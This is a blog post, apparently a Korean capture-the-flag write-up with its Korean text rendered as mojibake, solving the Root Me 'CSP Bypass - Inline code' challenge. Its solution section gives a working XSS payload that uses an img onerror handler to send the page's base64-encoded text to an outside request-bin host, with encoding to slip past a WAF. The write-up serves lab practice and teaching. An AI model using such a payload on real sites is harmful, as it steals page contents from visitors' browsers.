๋ณธ๋ฌธ ๋ฐ”๋กœ๊ฐ€๊ธฐ
๐ŸดCTF/Root Me

Root Me - CSP Bypass - Inline code

by Janger 2024. 2. 15.
728x90
๋ฐ˜์‘ํ˜•

 

 

Home ํŽ˜์ด์ง€

 

ํ™ˆ ํŽ˜์ด์ง€์—๋Š” ์ž…๋ ฅ์ฐฝ์ด ๋ณด์ด๊ณ  ์•„๋ž˜์™€ ๊ฐ™์ด ๋ฌธ์ž๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ํŽ˜์ด์ง€์— ๋ฐ˜์˜๋œ๋‹ค. 

 

 

 

ํŽ˜์ด์ง€ ๋‚ด์šฉ์„ ๋ณด๋ฉด ํ”Œ๋ž˜๊ทธ ๊ฐ’์ด ๋ด‡๋งŒ ํ™•์ธ์ด ๊ฐ€๋Šฅํ•˜๋„๋ก ์„ค์ •์ด ๋˜์–ด์žˆ๋‹ค๊ณ  ํ•œ๋‹ค. ๋˜ํ•œ CSP๊ฐ€ ์„ค์ •์ด ๋˜์–ด XSS๋Š” ๋ถˆ๊ฐ€ํ•˜๋‹ค๊ณ  ์ ํ˜€์žˆ๋‹ค. 

 

 

 

 

๋งŒ์•ฝ ๋ฐฉ๊ธˆ ์ „ ์ž…๋ ฅ์ฐฝ์—๋‹ค <script> ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•˜๋ฉด ์•„๋ž˜์™€ ๊ฐ™์€ ์—๋Ÿฌ ํŽ˜์ด์ง€๊ฐ€ ์ถœ๋ ฅ์ด ๋œ๋‹ค. 

 

์—๋Ÿฌ ์›์ธ์€ "Content-Security-Policy"๊ฐ€ ์„ค์ •์ด ๋˜์–ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์ด๋‹ค. 

connect-src 'none'; font-src 'none'; frame-src 'none'; img-src 'self';
manifest-src 'none'; media-src 'none'; object-src 'none'; script-src 'unsafe-inline';
style-src 'self'; worker-src 'none'; frame-ancestors 'none'; block-all-mixed-content;

 

 

๋ณด๋ฉด ์•Œ๊ฒ ์ง€๋งŒ ๋Œ€๋ถ€๋ถ„์ด none์ด๊ฑฐ๋‚˜ self์ด๊ธฐ ๋•Œ๋ฌธ์— script ํƒœ๊ทธ ์‚ฌ์šฉ์ด ๋ถˆ๊ฐ€ํ•˜๊ณ  ์™ธ๋ถ€์˜ URL์— ์š”์ฒญ์ด ๋ถˆ๊ฐ€๋Šฅํ•˜๋‹ค. 

 

ํŒ์œผ๋กœ https://csp-evaluator.withgoogle.com/์— ๋“ค์–ด๊ฐ€๋ฉด csp๊ฐ€ ์ œ๋Œ€๋กœ ์„ค์ •์ด ๋˜์ง€ ์•Š์€ ๊ณณ์„ ํ•œ๋ˆˆ์— ํ™•์ธ์ด ๊ฐ€๋Šฅํ•˜๋‹ค. 

 

ํ™•์ธ ๊ฒฐ๊ณผ ๋‹ค๋ฅธ ๊ฑด ์•ˆ๋˜์ง€๋งŒ script๋ฅผ ์ธ๋ผ์ธ ๋ฐฉ์‹์œผ๋กœ ์‚ฌ์šฉํ•˜๋Š” ๊ฑด ํ—ˆ๊ฐ€๊ฐ€ ๋˜์–ด์žˆ๋‹ค. 

 

<img src=x onerror=alert(1)>๋ฅผ ์ž…๋ ฅํ•˜๋ฉด alert ์ฐฝ์ด ์ œ๋Œ€๋กœ ๋‚˜์˜จ๋‹ค. 

 

 

 

Report ํŽ˜์ด์ง€

 

์‹ ๊ณ  ํŽ˜์ด์ง€์—์„œ๋Š” ๊ฐ™์€ ํ˜ธ์ŠคํŠธ์˜ ์ฃผ์†Œ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ๋ด‡์ด ๋Œ€์‹ ํ•ด์„œ ๊ทธ ํŽ˜์ด์ง€์— ์ ‘์†์„ ํ•˜๋Š” ๊ธฐ๋Šฅ์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค. 

๋ด‡์ด ๋ฐฉ๋ฌธํ•˜๋Š” ์‹œ๊ฐ„์€ ๋ช‡ ๋ถ„ ์ด์ƒ์€ ๊ฑธ๋ฆฌ๋ฉฐ ๋„ˆ๋ฌด ์ž์ฃผ ์š”์ฒญ์„ ํ•˜๋ฉด ๋ธ”๋ฝ์„ ๋จน์œผ๋‹ˆ ์ฃผ์˜ํ•œ๋‹ค. 

 

 

ํ•ด๊ฒฐ ๋ฐฉ๋ฒ•

 

img ํƒœ๊ทธ์˜ onerror๋ฅผ ์ด์šฉํ•ด ์ธ๋ผ์ธ ๋ฐฉ์‹์œผ๋กœ xss๋ฅผ ์œ ๋ฐœํ•œ๋‹ค. 

๊ทธ๋ฆฌ๊ณ  ์•Œ์•„์•ผ ํ•  ๊ฒƒ์€ URL์„ ํฌํ•จํ•˜๋Š” ๋‚ด์šฉ์ด ์žˆ์œผ๋ฉด WAF์— ์˜ํ•ด์„œ ์ฐจ๋‹จ์ด ๋˜๋ฏ€๋กœ ์ธ์ฝ”๋”ฉ์„ ์‹œ์ผœ์ค˜์•ผ ํ•œ๋‹ค. 

์ธ์ฝ”๋”ฉ์€ btoa(), atob() ํ•จ์ˆ˜๋ฅผ ์‚ฌ์šฉํ–ˆ๋‹ค. 

๋˜ + ๋ฌธ์ž๋Š” URL์—์„œ๋Š” ๊ณต๋ฐฑ์œผ๋กœ ์ธ์‹์„ ํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋”ฐ๋กœ ์ธ์ฝ”๋”ฉ์„ ํ•ด์ฃผ๊ฑฐ๋‚˜ .concat() ๋ฉ”์„œ๋“œ๋กœ ๋Œ€์ฒดํ•ด์„œ ์‚ฌ์šฉํ•œ๋‹ค. 

 

http://challenge01.root-me.org:58008/page?user=<img src=x onerror='window.location=atob("aHR0cHM6Ly9tYXFsc2JsLnJlcXVlc3QuZHJlYW1oYWNrLmdhbWVz").concat("/FETCH?html=").concat(btoa(document.body.innerText))'>

 

์œ„์˜ ๋ฌธ์ž๋ฅผ Report ํŽ˜์ด์ง€์— ์ž…๋ ฅํ•˜๊ณ  ๋ช‡ ๋ถ„์ด ์ง€๋‚˜๋ฉด Request Bin์— ์š”์ฒญ์ด ๋‚ ์•„์˜จ๋‹ค. 

 

๋งˆ์ฐฌ๊ฐ€์ง€๋กœ document.body์˜ ๋‚ด์šฉ ๋˜ํ•œ btoa()๋กœ ์ธ์ฝ”๋”ฉ์„ ํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— atob()๋กœ ๋””์ฝ”๋”ฉ์„ ํ•ด์ค˜์•ผ ํ”Œ๋ž˜๊ทธ ๊ฐ’์„ ๊ตฌํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

 

 

728x90
๋ฐ˜์‘ํ˜•

'๐ŸดCTF > Root Me' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

Root Me - TCP - Encoded string  (1) 2024.02.16
Root Me - TCP - Back to school  (0) 2024.02.16
Root Me - Encoding - ASCII  (0) 2024.02.16